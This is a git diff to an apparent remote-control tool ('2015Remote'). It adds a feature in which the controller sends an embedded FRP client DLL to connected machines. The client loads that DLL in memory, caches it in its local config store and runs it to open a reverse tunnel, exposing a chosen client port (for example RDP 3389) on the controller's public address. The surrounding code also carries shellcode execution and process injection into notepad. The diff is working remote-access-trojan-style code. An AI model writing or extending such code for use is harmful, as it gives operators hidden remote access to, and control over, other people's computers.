diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index e9a34b5..5367242 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -536,6 +536,10 @@ DWORD WINAPI StartClient(LPVOID lParam) CloseHandle(app.g_hEvent); app.g_hEvent = NULL; } + if (app.g_bExit == S_CLIENT_EXIT) { + CKernelManager::g_IsAppExit = 2; + Sleep(200); + } Mprintf("StartClient end\n"); delete ClientObject; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index b2bb70c..848adca 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -21,6 +21,8 @@ #pragma comment(lib, "urlmon.lib") +int CKernelManager::g_IsAppExit = FALSE; + // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { @@ -139,21 +141,25 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser return TRUE; } -typedef struct DllExecParam { - DllExecuteInfo info; +template +class DllExecParam { +public: + T *info; PluginParam param; BYTE* buffer; CManager* manager; - DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(dll), param(arg), manager(m) + DllExecParam(const T& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(new T()), param(arg), manager(m) { - buffer = new BYTE[info.Size]; - memcpy(buffer, data, info.Size); + buffer = new BYTE[dll.Size]; + memcpy(buffer, data, dll.Size); + memcpy(info, &dll, sizeof(dll)); } ~DllExecParam() { SAFE_DELETE_ARRAY(buffer); + SAFE_DELETE(info); } -} DllExecParam; +}; class MemoryDllRunner : public DllRunner @@ -177,14 +183,23 @@ public: } }; +typedef int (*RunSimpleTcpFunc)( + const char* privilegeKey, + long timestamp, + const char* serverAddr, + int serverPort, + int localPort, + int remotePort, + int* statusPtr + ); DWORD WINAPI ExecuteDLLProc(LPVOID param) { - DllExecParam* dll = (DllExecParam*)param; - DllExecuteInfo info = dll->info; + DllExecParam<>* dll = (DllExecParam<>*)param; + DllExecuteInfo info = *(dll->info); PluginParam pThread = dll->param; CManager* This = dll->manager; -#ifdef _DEBUG +#if _DEBUG WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); DllRunner* runner = new DefaultDllRunner(info.Name); #else @@ -208,9 +223,29 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) } break; } + case CALLTYPE_FRPC_CALL: { + RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL; + char* user = (char*)dll->param.User; + FrpcParam* f = (FrpcParam*)user; + if (proc) { + Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); + int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, + &CKernelManager::g_IsAppExit); + if (r) { + char buf[100]; + sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); + Mprintf("%s\n", buf); + ClientMsg msg("代理端口", buf); + This->SendData((LPBYTE)&msg, sizeof(msg)); + } + } + SAFE_DELETE_ARRAY(user); + break; + } default: break; } + if (info.CallType != CALLTYPE_FRPC_CALL) runner->FreeLibrary(module); } else if (info.RunType == SHELLCODE) { bool flag = info.CallType == CALLTYPE_IOCPTHREAD; @@ -532,6 +567,50 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma return ""; } +template +BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) { + static std::map> m_MemDLL; + const int sz = 1 + sizeof(T); + if (ulLength < sz) return FALSE; + const T* info = (T*)(szBuffer + 1); + const char* md5 = info->Md5; + auto find = m_MemDLL.find(md5); + if (find == m_MemDLL.end() && ulLength == sz) { + iniFile cfg(CLIENT_PATH); + auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); + if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { + // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 + This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); + return TRUE; + } + Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); + binFile bin(CLIENT_PATH); + auto local = bin.GetStr("settings", info->Name + std::string(".bin")); + const BYTE* bytes = reinterpret_cast(local.data()); + m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); + find = m_MemDLL.find(md5); + } + BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; + if (info->Size == ulLength - sz) { + if (md5[0]) { + m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", info->Name + std::string(".md5"), md5); + binFile bin(CLIENT_PATH); + std::string buffer(reinterpret_cast(szBuffer), ulLength); + bin.SetStr("settings", info->Name + std::string(".bin"), buffer); + Mprintf("Save DLL to registry: %s\n", md5); + } + data = szBuffer + sz; + } + if (data) { + PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); + CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, This), 0, NULL)); + Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); + } + return data != NULL; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -657,47 +736,25 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case CMD_EXECUTE_DLL: { - static std::map> m_MemDLL; - const int sz = 1 + sizeof(DllExecuteInfo); - if (ulLength < sz)break; - DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); - const char* md5 = info->Md5; - auto find = m_MemDLL.find(md5); - if (find == m_MemDLL.end() && ulLength == sz) { - iniFile cfg(CLIENT_PATH); - auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); - if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { - // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 - m_ClientObject->Send2Server((char*)szBuffer, ulLength); - break; - } - Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); - binFile bin(CLIENT_PATH); - auto local = bin.GetStr("settings", info->Name + std::string(".bin")); - const BYTE* bytes = reinterpret_cast(local.data()); - m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); - find = m_MemDLL.find(md5); - } - BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; - if (info->Size == ulLength - sz) { - if (md5[0]) { - m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); - iniFile cfg(CLIENT_PATH); - cfg.SetStr("settings", info->Name + std::string(".md5"), md5); - binFile bin(CLIENT_PATH); - std::string buffer(reinterpret_cast(szBuffer), ulLength); - bin.SetStr("settings", info->Name + std::string(".bin"), buffer); - Mprintf("Save DLL to registry: %s\n", md5); - } - data = szBuffer + sz; - } - if (data) { - PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); - CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, this), 0, NULL)); - Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); + if (!ExecDLL(this, szBuffer, ulLength, m_conn)) { + Mprintf("CKernelManager ExecDLL failed: %d bytes\n", ulLength); } break; } + case CMD_EXECUTE_DLL_NEW: { + if (sizeof(szBuffer) == 4) { + Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n"); + break; + } + DllExecuteInfoNew* info = ulLength > sizeof(DllExecuteInfoNew) ? (DllExecuteInfoNew*)(szBuffer + 1) : 0; + char* user = info ? new char[400] : 0; + if (user == NULL) break;; + if (info) memcpy(user, info->Parameters, 400); + if (!ExecDLL(this, szBuffer, ulLength, user)) { + Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength); + } + break; + } case TOKEN_PRIVATESCREEN: { char h[100] = {}; diff --git a/client/KernelManager.h b/client/KernelManager.h index a17d7e7..1261d67 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -139,6 +139,7 @@ public: ULONG m_ulThreadCount; UINT GetAvailableIndex(); State& g_bExit; // Hide base class variable + static int g_IsAppExit; MasterSettings m_settings; RttEstimator m_nNetPing; // ״ // diff --git a/common/commands.h b/common/commands.h index b0c0bc7..91380f9 100644 --- a/common/commands.h +++ b/common/commands.h @@ -270,6 +270,7 @@ enum { CMD_EXECUTE_DLL = 240, // ִд TOKEN_CLIENT_MSG = 241, // ͻϢ CMD_SET_GROUP = 242, // ޸ķ + CMD_EXECUTE_DLL_NEW = 243, // ִд }; enum MachineCommand { @@ -909,6 +910,38 @@ typedef struct DllExecuteInfo { char Is32Bit; // Ƿ32λDLL char Reseverd[18]; } DllExecuteInfo; + +typedef struct DllExecuteInfoNew { + int RunType; // + int Size; // DLL С + int CallType; // ÷ʽ + char Name[32]; // DLL + char Md5[33]; // DLL MD5 + int Pid; // עID + char Is32Bit; // Ƿ32λDLL + char Reseverd[18]; + char Parameters[400]; +} DllExecuteInfoNew; +inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) { + memcpy(p->Parameters, param, min(size, 400)); +} + +typedef struct FrpcParam { + char privilegeKey[36]; + uint64_t timestamp; + char serverAddr[64]; + int serverPort; + int localPort; + int remotePort; + FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort) { + strcpy_s(privilegeKey, key); + strcpy_s(serverAddr, addr); + this->timestamp = time; + this->serverPort = serverPort; + this->localPort = localPort; + this->remotePort = remotePort; + } +}FrpcParam; #pragma pack(pop) enum { @@ -920,6 +953,7 @@ enum { CALLTYPE_DEFAULT = 0, // Ĭϵ÷ʽ: ֻǼDLL,ҪDLLʱִд CALLTYPE_IOCPTHREAD = 1, // run߳: DWORD (__stdcall *run)(void* lParam) + CALLTYPE_FRPC_CALL = 2, // FRPC }; typedef DWORD(__stdcall* PidCallback)(void); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 42e946a..5e8751e 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 6118e7c..4d570f7 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -55,6 +55,7 @@ #define TIMER_CLOSEWND 2 #define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION); #define TINY_DLL_NAME "TinyRun.dll" +#define FRPC_DLL_NAME "Frpc.dll" typedef struct { const char* szTitle; //列表的名称 @@ -324,6 +325,26 @@ DllInfo* ReadTinyRunDll(int pid) return new DllInfo{ name, buf }; } +DllInfo* ReadFrpcDll() +{ + std::string name = FRPC_DLL_NAME; + DWORD fileSize = 0; + BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); + // 设置输出参数 + auto md5 = CalcMD5FromBytes(dllData, fileSize); + DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL }; + memcpy(info.Name, name.c_str(), name.length()); + memcpy(info.Md5, md5.c_str(), md5.length()); + BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize]; + buffer[0] = CMD_EXECUTE_DLL_NEW; + memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew)); + memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize); + Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5); + SAFE_DELETE_ARRAY(dllData); + SAFE_DELETE_ARRAY(buffer); + return new DllInfo{ name, buf }; +} + std::vector ReadAllDllFilesWindows(const std::string& dirPath) { std::vector result; @@ -421,6 +442,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP); m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP); m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT); + m_bmOnline[19].LoadBitmap(IDB_BITMAP_PORTPROXY); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -579,7 +601,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify) ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog) -END_MESSAGE_MAP() + ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort) + END_MESSAGE_MAP() // CMy2015RemoteDlg 消息处理程序 @@ -1672,6 +1695,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]); Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]); Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]); + Menu.SetMenuItemBitmaps(ID_PROXY_PORT, MF_BYCOMMAND, &m_bmOnline[19], &m_bmOnline[19]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash) { @@ -2420,6 +2444,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case CMD_EXECUTE_DLL: { // 请求DLL(执行代码)【L】 + case CMD_EXECUTE_DLL_NEW: DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); if (std::string(info->Name) == TINY_DLL_NAME) { auto tinyRun = ReadTinyRunDll(info->Pid); @@ -2428,6 +2453,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) SAFE_DELETE(tinyRun); break; } + else if (std::string(info->Name) == FRPC_DLL_NAME) { + auto frpc = ReadFrpcDll(); + Buffer* buf = frpc->Data; + ContextObject->Send2Client(buf->Buf(), frpc->Data->length()); + SAFE_DELETE(frpc); + break; + } for (std::vector::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) { DllInfo* dll = *i; if (dll->Name == info->Name) { @@ -4351,3 +4383,122 @@ void CMy2015RemoteDlg::OnParamEnableLog() THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog); SendMasterSettings(nullptr); } + + +bool IsDateGreaterOrEqual(const char* date1, const char* date2) +{ + const char* months[] = { + "Jan", "Feb", "Mar", "Apr", "May", "Jun", + "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" + }; + + auto parseDate = [&months](const char* date, int& year, int& month, int& day) { + char mon[4] = { 0 }; + sscanf(date, "%3s %d %d", mon, &day, &year); + month = 0; + for (int i = 0; i < 12; i++) { + if (strcmp(mon, months[i]) == 0) { + month = i + 1; + break; + } + } + }; + + int y1, m1, d1, y2, m2, d2; + parseDate(date1, y1, m1, d1); + parseDate(date2, y2, m2, d2); + + if (y1 != y2) return y1 >= y2; + if (m1 != m2) return m1 >= m2; + return d1 >= d2; +} + +#include +#include +#include +#include + +#pragma comment(lib, "advapi32.lib") + +std::string GetAuthKey(const char* token, long long timestamp) +{ + char tsStr[32]; + sprintf_s(tsStr, "%lld", timestamp); + + HCRYPTPROV hProv = 0; + HCRYPTHASH hHash = 0; + std::string result; + + if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) + { + CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0); + CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0); + + BYTE hash[16]; + DWORD cbHash = sizeof(hash); + if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) + { + char hex[33]; + for (int i = 0; i < 16; i++) + sprintf_s(hex + i * 2, 3, "%02x", hash[i]); + result = hex; + } + CryptDestroyHash(hHash); + } + CryptReleaseContext(hProv, 0); + } + + return result; +} + +// 基于FRP将客户端端口代理到主控程序的公网 +// 例如代理3389端口,即可通过 mstsc.exe 进行远程访问 +void CMy2015RemoteDlg::OnProxyPort() +{ + BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); + std::string pwd = THIS_CFG.GetStr("frp", "token", ""); + std::string ip = THIS_CFG.GetStr("settings", "master", ""); + if (!useFrp || pwd.empty() || ip.empty()) { + MessageBoxA("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION); + return; + } + CInputDialog dlg(this); + dlg.Init("代理端口", "请输入客户端端口:"); + if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { + return; + } + uint64_t timestamp = time(nullptr); + std::string key = GetAuthKey(pwd.c_str(), timestamp); + int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); + int localPort = atoi(dlg.m_str); + auto frpc = ReadFrpcDll(); + FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ctx = (context*)m_CList_Online.GetItemData(iItem); + if (!ctx->IsLogin()) + continue; + CString date = ctx->GetClientData(ONLINELIST_VERSION); + if (IsDateGreaterOrEqual(date, "Dec 22 2025")) { + Buffer* buf = frpc->Data; + BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = {0}; + memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); + DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); + SetParameters(p, (char*)¶m, sizeof(param)); + ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); + } + else { + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"), + (LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025"))); + } + break; + } + LeaveCriticalSection(&m_cs); + SAFE_DELETE(frpc); + MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!", + "提示", MB_ICONINFORMATION); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index c387c07..b72457c 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -248,7 +248,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[19]; + CBitmap m_bmOnline[20]; uint64_t m_superID; std::map m_RemoteWnds; CDialogBase* GetRemoteWindow(HWND hWnd); @@ -381,4 +381,5 @@ public: afx_msg void OnOnlineInjNotepad(); afx_msg void OnParamLoginNotify(); afx_msg void OnParamEnableLog(); + afx_msg void OnProxyPort(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 485585b..a67b4b1 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -425,6 +425,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 9c31dd2..d200b67 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -177,6 +177,7 @@ + diff --git a/server/2015Remote/res/Bitmap/HostProxy.bmp b/server/2015Remote/res/Bitmap/HostProxy.bmp new file mode 100644 index 0000000..50844a2 Binary files /dev/null and b/server/2015Remote/res/Bitmap/HostProxy.bmp differ diff --git a/server/2015Remote/res/frpc.dll b/server/2015Remote/res/frpc.dll index 4238a10..facd2c5 100644 Binary files a/server/2015Remote/res/frpc.dll and b/server/2015Remote/res/frpc.dll differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index a7ac455..820a15c 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ